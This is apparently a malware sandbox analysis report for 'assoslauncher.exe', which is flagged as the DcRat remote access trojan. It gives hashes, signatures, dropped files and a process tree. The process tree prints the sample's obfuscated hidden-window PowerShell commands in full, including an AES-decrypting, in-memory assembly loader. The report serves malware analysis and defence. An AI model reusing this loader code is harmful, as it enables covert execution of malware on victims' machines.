Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

3

assoslauncher.exe

windows7-x64

1

assoslauncher.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    93s
  • max time network
    135s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/01/2025, 00:43

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    assoslauncher.exe

  • Size

    50.4MB

  • MD5

    0486c281a279ea0a7c3dea7affb2be24

  • SHA1

    dc1dcb988335619b0dfc9ebc551af0755baf198c

  • SHA256

    961a7cf69296ba62b26ccda79c98571d2c8b7f91a1223972dde8966ccf30ce2e

  • SHA512

    39a036bccaf31c289ccd22a612ae5485be149907945f5939eb0b8429f2fd1acdf25e9b95ac0ebce3d8399c04d5439989486d603073606f85be31a19346194a6f

  • SSDEEP

    786432:fMguj8Q4Vfv0qFTrYC3VLewOc8C7HL7my:fiAQIH0kHP3Ew7L7my

Score
10/10
dcratdiscoveryexecutioninfostealerrat

Malware Config

Signatures

  • DcRat

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

    ratinfostealerdcrat
  • Dcrat family
    dcrat
  • DCRat payload 1 IoCs
    rat
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 24 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of FindShellTrayWindow 47 IoCs
  • Suspicious use of SendNotifyMessage 46 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\assoslauncher.exe
    "C:\Users\Admin\AppData\Local\Temp\assoslauncher.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1300
    • C:\Windows\system32\cmd.exe
      cmd.exe /C call powershell -E QQBkAGQALQBUAHkAcABlACAAQAAiAAoAIAAgACAAIAB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AAoAIAAgACAAIAB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AAoAIAAgACAAIABwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAVQB0AGkAbABzACAAewAKACAAIAAgACAAIAAgACAAIABbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQAKACAAIAAgACAAIAAgACAAIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEcAZQB0AEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAKAApADsACgAgACAAIAAgACAAIAAgACAACgAgACAAIAAgACAAIAAgACAAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACkAXQAKACAAIAAgACAAIAAgACAAIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEcAZQB0AFAAYQByAGUAbgB0ACgASQBuAHQAUAB0AHIAIABoAFcAbgBkACkAOwAKAAoAIAAgACAAIAAgACAAIAAgAFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgApAF0ACgAgACAAIAAgACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAFMAaABvAHcAVwBpAG4AZABvAHcAKABJAG4AdABQAHQAcgAgAGgAVwBuAGQALAAgAGkAbgB0ACAAbgBDAG0AZABTAGgAbwB3ACkAOwAKACAAIAAgACAAIAAgACAAIAAKACAAIAAgACAAIAAgACAAIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAASQBuAHQAUAB0AHIAIABHAGUAdABUAGEAcgBnAGUAdABXAGkAbgBkAG8AdwAoACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAASQBuAHQAUAB0AHIAIABjAG8AbgBzAG8AbABlAFcAaQBuAGQAbwB3ACAAPQAgAEcAZQB0AEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAKAApADsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdABQAHQAcgAgAHAAYQByAGUAbgB0AFcAaQBuAGQAbwB3ACAAPQAgAEcAZQB0AFAAYQByAGUAbgB0ACgAYwBvAG4AcwBvAGwAZQBXAGkAbgBkAG8AdwApADsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAcABhAHIAZQBuAHQAVwBpAG4AZABvAHcAIAA9AD0AIABJAG4AdABQAHQAcgAuAFoAZQByAG8AKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAYwBvAG4AcwBvAGwAZQBXAGkAbgBkAG8AdwA7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAcABhAHIAZQBuAHQAVwBpAG4AZABvAHcAOwAKACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAB9AAoAIgBAAAoACgBbAEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAVQB0AGkAbABzAF0AOgA6AFMAaABvAHcAVwBpAG4AZABvAHcAKABbAEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAVQB0AGkAbABzAF0AOgA6AEcAZQB0AFQAYQByAGcAZQB0AFcAaQBuAGQAbwB3ACgAKQAsACAAMAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3348
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -E QQBkAGQALQBUAHkAcABlACAAQAAiAAoAIAAgACAAIAB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AAoAIAAgACAAIAB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AAoAIAAgACAAIABwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAVQB0AGkAbABzACAAewAKACAAIAAgACAAIAAgACAAIABbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQAKACAAIAAgACAAIAAgACAAIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEcAZQB0AEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAKAApADsACgAgACAAIAAgACAAIAAgACAACgAgACAAIAAgACAAIAAgACAAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACkAXQAKACAAIAAgACAAIAAgACAAIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEcAZQB0AFAAYQByAGUAbgB0ACgASQBuAHQAUAB0AHIAIABoAFcAbgBkACkAOwAKAAoAIAAgACAAIAAgACAAIAAgAFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgApAF0ACgAgACAAIAAgACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAFMAaABvAHcAVwBpAG4AZABvAHcAKABJAG4AdABQAHQAcgAgAGgAVwBuAGQALAAgAGkAbgB0ACAAbgBDAG0AZABTAGgAbwB3ACkAOwAKACAAIAAgACAAIAAgACAAIAAKACAAIAAgACAAIAAgACAAIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAASQBuAHQAUAB0AHIAIABHAGUAdABUAGEAcgBnAGUAdABXAGkAbgBkAG8AdwAoACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAASQBuAHQAUAB0AHIAIABjAG8AbgBzAG8AbABlAFcAaQBuAGQAbwB3ACAAPQAgAEcAZQB0AEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAKAApADsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdABQAHQAcgAgAHAAYQByAGUAbgB0AFcAaQBuAGQAbwB3ACAAPQAgAEcAZQB0AFAAYQByAGUAbgB0ACgAYwBvAG4AcwBvAGwAZQBXAGkAbgBkAG8AdwApADsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAcABhAHIAZQBuAHQAVwBpAG4AZABvAHcAIAA9AD0AIABJAG4AdABQAHQAcgAuAFoAZQByAG8AKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAYwBvAG4AcwBvAGwAZQBXAGkAbgBkAG8AdwA7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAcABhAHIAZQBuAHQAVwBpAG4AZABvAHcAOwAKACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAB9AAoAIgBAAAoACgBbAEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAVQB0AGkAbABzAF0AOgA6AFMAaABvAHcAVwBpAG4AZABvAHcAKABbAEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAVQB0AGkAbABzAF0AOgA6AEcAZQB0AFQAYQByAGcAZQB0AFcAaQBuAGQAbwB3ACgAKQAsACAAMAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1748
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\e3zv3vq1\e3zv3vq1.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2152
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAB63.tmp" "c:\Users\Admin\AppData\Local\Temp\e3zv3vq1\CSC3A4DAA399BA4A18B478F7E2F53ECD9A.TMP"
            5⤵
              PID:2156
      • C:\Windows\system32\cmd.exe
        cmd.exe /C call C:\Users\Admin\AppData\Local\Temp\baa0418623bfdf5c0b6cedf89acf7103.bat
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3784
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4901Dvnacd86qC056t1BgMg1HKGntrWfZU+a+a+t7Kw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+UnPhlwYUKipcHFQiWHJvQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $mEfXA=New-Object System.IO.MemoryStream(,$param_var); $AnAPc=New-Object System.IO.MemoryStream; $JENxb=New-Object System.IO.Compression.GZipStream($mEfXA, [IO.Compression.CompressionMode]::Decompress); $JENxb.CopyTo($AnAPc); $JENxb.Dispose(); $mEfXA.Dispose(); $AnAPc.Dispose(); $AnAPc.ToArray();}function execute_function($param_var,$param2_var){ $XTEIi=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $kwXJN=$XTEIi.EntryPoint; $kwXJN.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\baa0418623bfdf5c0b6cedf89acf7103.bat';$yuNmR=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\baa0418623bfdf5c0b6cedf89acf7103.bat').Split([Environment]::NewLine);foreach ($JYgJM in $yuNmR) { if ($JYgJM.StartsWith(':: ')) { $ePrxH=$JYgJM.Substring(3); break; }}$payloads_var=[string[]]$ePrxH.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5048
    • C:\Windows\system32\taskmgr.exe
      "C:\Windows\system32\taskmgr.exe" /4
      1⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:5072

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      1KB

      MD5

      fc28168b916bf9744961653d503e1164

      SHA1

      71deadab13b81a414582f931e9af010152463644

      SHA256

      a2a78e9fb30fe365d454ca6bbbf950355049c978262fdf0e80cd683622cf00e9

      SHA512

      08d828e18ccb2892f12dcbbaf5a5ffcafb4e2e768536fc46b3d2fce788c52b2f61058e1ef0a47e648e2308f4f1aeb8799bef9472726d2800fa9b775f401e08c9

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\RESAB63.tmp
      Filesize

      1KB

      MD5

      fe1bf646304d6a2d0f08781d6dde3b46

      SHA1

      72969a839bb57e4142ba92af6caffbf1315925e7

      SHA256

      9a5509cb2fa7def57c5506236cb592f3685d35871cb71a1177d123d4ef06d270

      SHA512

      21ed3a7ffd006c613565a29a6c3e3ced15cd5a46fafe3dba4649201429d7d9714badf3f3112320bf777728055094791c8dd77f242a9121a04a46bda486effba1

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gezhzh5n.zaf.psm1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\baa0418623bfdf5c0b6cedf89acf7103.bat
      Filesize

      15.4MB

      MD5

      54203eedd2043fdf222fca5ca3feb2d9

      SHA1

      b06a22f9e9fbb780a8e1077ac13bcf8ba571170b

      SHA256

      8df532d582b3b03dce45275ecb4ffaa925e22c201dbf16b428d9a019be697d68

      SHA512

      8151637aff6355077379881426c1a0ed1abb78cc932f5cdc9b0e8396899654090508d200558b3307c3ef50166b415a2926389dc5e4ec0d56ac6dba5572f2ce6e

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\e3zv3vq1\e3zv3vq1.dll
      Filesize

      3KB

      MD5

      8b734338c2d103aaf443a06e3fffbb1d

      SHA1

      5b0c4b0b825ae6034c77253e7fdb6c696669a6ef

      SHA256

      354ec0f8d7d312ca50ad401d6b521e997e6398a39206b0aae5719ca062723a4d

      SHA512

      2a722fece6d87cb9b53b79864621db0c29452ac7923290add2067657a42ab487f4702377d4fc087e9244c14b4c8f98ecac1461f16a9c3e30bf9bd33e0ccdd9c1

      Download Submit

    • \??\c:\Users\Admin\AppData\Local\Temp\e3zv3vq1\CSC3A4DAA399BA4A18B478F7E2F53ECD9A.TMP
      Filesize

      652B

      MD5

      1dbbdb8cb6a70b1e6977793db708604f

      SHA1

      a1aeb9993948311ff79301491ce6a53a281f6d39

      SHA256

      0e4ccd2fa267cdf2d16ba2ab7bfc5d92e38c745f277a461aad7bfd5c281d2701

      SHA512

      e7ae6d35a1d7d869de35554b8cfadf201a4aa4ea444f6c5ddc9e78dda93579f23f2ef9a9d1433f04e9dd906cb5d588ff09ac1a0e8cb3eeb5cc76a972a3da3649

      Download Submit

    • \??\c:\Users\Admin\AppData\Local\Temp\e3zv3vq1\e3zv3vq1.0.cs
      Filesize

      737B

      MD5

      3d57f8f44297464baafa6aeecd3bf4bc

      SHA1

      f370b4b9f8dba01fbcad979bd663d341f358a509

      SHA256

      415199eec01052503978381a4f88f4cd970b441fedce519905990ed8b629b0f1

      SHA512

      4052dd65ca0a505a36c7c344671afcadb8f82cc24b0d1d8362f61565f9d37782e00332908444f6a95286dd1785d074762b27c20be1f361eec67807fad052d798

      Download Submit

    • \??\c:\Users\Admin\AppData\Local\Temp\e3zv3vq1\e3zv3vq1.cmdline
      Filesize

      369B

      MD5

      45465252fa8f9076bcc613a25e762b4f

      SHA1

      7a28ccfad09c7209bc2aa04f4a994ed6818423b9

      SHA256

      93e4adbd427da6f4d8c0b23d4b6b0c6ef3c06b9985d87071fcbbc505b0a6c55e

      SHA512

      f63a37962a355fd3600ea6bd184d3ef9eb7a9778e18eae438e8c501dffc0424b836501393cfb16c5b446200c0857ea2214669021f40600654bd88ef8ddbc201d

      Download Submit

    • memory/1748-15-0x00007FFCCB0E0000-0x00007FFCCBBA1000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/1748-14-0x00007FFCCB0E0000-0x00007FFCCBBA1000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/1748-28-0x000001C1C17C0000-0x000001C1C17C8000-memory.dmp

      Filesize

      32KB

      Download

    • memory/1748-9-0x000001C1BF4D0000-0x000001C1BF4F2000-memory.dmp

      Filesize

      136KB

      Download

    • memory/1748-32-0x00007FFCCB0E0000-0x00007FFCCBBA1000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/1748-3-0x00007FFCCB0E3000-0x00007FFCCB0E5000-memory.dmp

      Filesize

      8KB

      Download

    • memory/5048-47-0x0000000005900000-0x0000000005C54000-memory.dmp

      Filesize

      3.3MB

      Download

    • memory/5048-54-0x0000000031E50000-0x000000003343A000-memory.dmp

      Filesize

      21.9MB

      Download

    • memory/5048-36-0x0000000005770000-0x00000000057D6000-memory.dmp

      Filesize

      408KB

      Download

    • memory/5048-37-0x0000000005850000-0x00000000058B6000-memory.dmp

      Filesize

      408KB

      Download

    • memory/5048-34-0x00000000050D0000-0x00000000056F8000-memory.dmp

      Filesize

      6.2MB

      Download

    • memory/5048-33-0x0000000004940000-0x0000000004976000-memory.dmp

      Filesize

      216KB

      Download

    • memory/5048-49-0x0000000005E10000-0x0000000005E2E000-memory.dmp

      Filesize

      120KB

      Download

    • memory/5048-50-0x0000000005E60000-0x0000000005EAC000-memory.dmp

      Filesize

      304KB

      Download

    • memory/5048-51-0x00000000076D0000-0x0000000007D4A000-memory.dmp

      Filesize

      6.5MB

      Download

    • memory/5048-52-0x0000000006480000-0x000000000649A000-memory.dmp

      Filesize

      104KB

      Download

    • memory/5048-53-0x0000000004C70000-0x0000000004C78000-memory.dmp

      Filesize

      32KB

      Download

    • memory/5048-35-0x0000000005060000-0x0000000005082000-memory.dmp

      Filesize

      136KB

      Download

    • memory/5072-58-0x000002676E8F0000-0x000002676E8F1000-memory.dmp

      Filesize

      4KB

      Download

    • memory/5072-60-0x000002676E8F0000-0x000002676E8F1000-memory.dmp

      Filesize

      4KB

      Download

    • memory/5072-59-0x000002676E8F0000-0x000002676E8F1000-memory.dmp

      Filesize

      4KB

      Download

    • memory/5072-70-0x000002676E8F0000-0x000002676E8F1000-memory.dmp

      Filesize

      4KB

      Download

    • memory/5072-69-0x000002676E8F0000-0x000002676E8F1000-memory.dmp

      Filesize

      4KB

      Download

    • memory/5072-68-0x000002676E8F0000-0x000002676E8F1000-memory.dmp

      Filesize

      4KB

      Download

    • memory/5072-67-0x000002676E8F0000-0x000002676E8F1000-memory.dmp

      Filesize

      4KB

      Download

    • memory/5072-66-0x000002676E8F0000-0x000002676E8F1000-memory.dmp

      Filesize

      4KB

      Download

    • memory/5072-65-0x000002676E8F0000-0x000002676E8F1000-memory.dmp

      Filesize

      4KB

      Download

    • memory/5072-64-0x000002676E8F0000-0x000002676E8F1000-memory.dmp

      Filesize

      4KB

      Download